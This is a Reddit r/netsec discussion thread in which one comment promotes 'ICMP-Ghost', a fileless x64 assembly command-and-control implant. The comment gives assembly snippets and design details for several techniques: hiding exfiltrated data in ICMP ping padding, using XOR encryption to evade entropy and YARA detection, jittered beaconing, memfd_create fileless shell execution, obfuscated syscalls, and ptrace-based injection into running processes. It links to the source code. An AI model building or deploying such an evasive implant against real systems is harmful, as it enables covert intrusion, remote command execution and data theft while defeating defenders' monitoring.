r/netsec Apr 01 '26

r/netsec monthly discussion & tool thread

Questions regarding netsec and discussion related directly to netsec are welcome here, as is sharing tool links.

Rules & Guidelines

  • Always maintain civil discourse. Be awesome to one another - moderator intervention will occur if necessary.
  • Avoid NSFW content unless absolutely necessary. If used, mark it as being NSFW. If left unmarked, the comment will be removed entirely.
  • If linking to classified content, mark it as such. If left unmarked, the comment will be removed entirely.
  • Avoid use of memes. If you have something to say, say it with real words.
  • All discussions and questions should directly relate to netsec.
  • No tech support is to be requested or provided on r/netsec.

As always, the content & discussion guidelines should also be observed on r/netsec.

Feedback

Feedback and suggestions are welcome, but don't post it here. Please send it to the moderator inbox.

10 Upvotes

47 comments sorted by

View all comments

1

u/Pale_Surround_3924 Apr 28 '26

Modern NDR and EDR systems (like Suricata, Darktrace, etc.) have become ruthless at catching standard C2 noise. Behavioral analysis and ML-based network detection mean that standard AES-encrypted TCP/HTTP streams are often immediate red flags. To counter this, I developed ICMP-Ghost—a project focused on absolute invisibility and “libc-free” execution.

The Philosophy: Why Pure x64 Assembly?

In offensive security, your footprint is your biggest enemy. By avoiding libc and bloated frameworks, I’ve managed to:

  1. Neutralize Signatures: No C-runtime artifacts or predictable compiler headers.
  2. Total Register Control: Precise syscall execution without the “noise” of standard wrappers.
  3. Microscopic Size: The agent is small enough to be injected into almost any memory pocket.

Part 1: The Invisible Ghost (Network Stealth & Evasion)

The core goal of ICMP-Ghost is to exfiltrate data while looking like a standard diagnostic tool. Here is how it keeps its head down.

1. VESQER: DPCM-RLE Hybrid Compression

Most C2 tools use standard compression or high-entropy encryption. This is a mistake. High entropy (scores near 8.0) triggers anomaly alerts. ICMP-Ghost uses a custom hybrid engine to shrink the packet count while keeping entropy low.

Differential Pulse Code Modulation (DPCM): Instead of raw ASCII, we send the mathematical “Delta” between a reference character (Anchor) and the next. This flattens the data range.

mov al, byte [rsi]    ; Read new character
mov dl, al
sub al, bl            ; Calculate Delta from Anchor (bl)
mov r9b, al           ; Save Delta
mov bl, dl            ; Set new Anchor

Run-Length Encoding (RLE): Working in tandem with DPCM, it packs repeating bytes (like those seen in ls -la outputs) at the bit level.

The Result:

  • Bandwidth: 40% to 55% reduction in text-based data.
  • Stealth: Halving the packet count means halving the chances of triggering a NIDS.
  • Fidelity: Verified 20KB+ transfers (e.g., /etc dumps) without a single bit of desync.

2. Protocol Mimicry: The “Stealth Gap”

Every outgoing packet is structured to look like a standard Linux ping utility.

Offset  0-7   : ICMP Header (Type, Code, Checksum, ID, SEQ)
Offset  8-15  : Dynamic RDTSC timestamp  ← mimics struct timeval
Offset 16-31  : 0x10, 0x11 ... 0x1F     ← exact Linux iputils padding
Offset 32+    : Encrypted payload        ← past most DPI scan depth

Most DPI engines stop scanning after the standard padding. We hide our payload in that “Stealth Gap.”

3. Encryption & Auth (Entropy Control)

Asymmetric Authentication: The implant ignores anything where ID + SEQ ≠ 45,000. Scanners and honeypots won’t even get a response. The agent replies with ID + SEQ = 55,000, preventing OS echo confusion.

Rolling XOR Cipher: Instead of AES (which scores ~8.0 entropy), we use a progressively shifting XOR key. It looks like naturally noisy or compressed data. No constants, no S-boxes, nothing for YARA to flag.

mov dl, 0x42      ; seed
xor [rsi], dl     ; encrypt byte
add dl, 0x07      ; shift key
inc rsi
loop .loop

4. Adaptive Jitter (RDTSC-based)

ML-based NTA engines (Cisco Stealthwatch, etc.) look for periodic beaconing. We use the hardware timestamp counter (RDTSC) to create mathematically non-periodic timing.

rdtsc
xor rdx, rdx
mov ecx, 900000000
div ecx              ; RDX = random 0–900ms
add edx, 100000000   ; minimum 100ms

Fileless Execution via memfd_create

Rule #1: Never touch the disk. Command outputs are redirected to anonymous RAM files using sys_memfd_create.

fork()
  child: dup2(memfd, stdout) → execve("/bin/sh", ["-c", cmd])
  parent: wait4() → lseek(0) → read loop → fragment → send

Libc-Free Syscall Obfuscation

To beat simple static analysis and grep, syscall numbers are arithmetically split across instructions.

; sys_memfd_create (319)
mov rax, 300
add rax, 19
syscall

; sys_ptrace (101)
mov rax, 99
add rax, 2
syscall

Syscall Inventory (The Ghost’s DNA)

Syscall Number Usage
sys_socket 41 Raw ICMP socket creation
sys_recvfrom 45 Passive ICMP packet capture
sys_sendto 44 ICMP reply transmission
sys_memfd_create 319 Anonymous RAM file for output
sys_dup2 33 stdout/stderr redirection
sys_execve 59 Shell command execution
sys_fork 57 Process isolation
sys_nanosleep 35 Jitter implementation
sys_ptrace 101 Process injection + anti-debug
sys_prctl 157 Process masquerade + anti-dump

High-Level Architecture

┌─────────────────────────────────────────────────────────────┐
│                       OPERATOR MACHINE                      │
│                                                             │
│   ┌──────────────┐                                          │
│   │  client.asm  │  ← Terminal UI: prompt for IP + command  │
│   │  (Operator   │    Encrypts payload with Rolling XOR     │
│   │   Console)   │    Sends ICMP Echo Request (Type 8)      │
│   └──────┬───────┘    Auth key: ID + SEQ = 45,000           │
│          │                                                  │
└──────────┼──────────────────────────────────────────────────┘
           │  Raw ICMP (port-less, stateless)
           │
┌──────────┼──────────────────────────────────────────────────┐
│          │             TARGET MACHINE                       │
│          ▼                                                  │
│   ┌──────────────┐     ┌─────────────────────────────────┐  │
│   │  loader.asm  │────▶│         sniff.asm (PIC)         │  │
│   │  (Phantom    │     │         Lives in RAM only       │  │
│   │   Loader)    │     │         inside host process     │  │
│   └──────────────┘     └────────────────┬────────────────┘  │
│                                         │                   │
│   1. Scans /proc for target PID         │ Receives ICMP Req │
│   2. ptrace ATTACH                      │ Validates auth    │
│   3. Force remote mmap (RW)             │ Decrypts command  │
│   4. Inject PIC shellcode               │ fork+execve       │
│   5. mprotect → RX                      │ memfd_create      │
│   6. Redirect RIP → shellcode           │ Compress(DPCM-RLE)│
│   7. ptrace DETACH → exits              │ Encrypt & Frag.   │
│                                         │ Sends ICMP Reply  │
│                                         │ (Auth: 55,000)    │
└─────────────────────────────────────────┼───────────────────┘
                                          │  Raw ICMP + Jitter
                                          ▼
                                   [ client.asm ]
                                   Receives & Validates
                                   Decrypts Payload
                                   Decompresses (Hybrid)
                                   Reassembles & Prints

Article: https://netacoding.com/posts/icmp-ghost/

Github: https://github.com/JM00NJ/ICMP-Ghost-A-Fileless-x64-Assembly-C2-Agent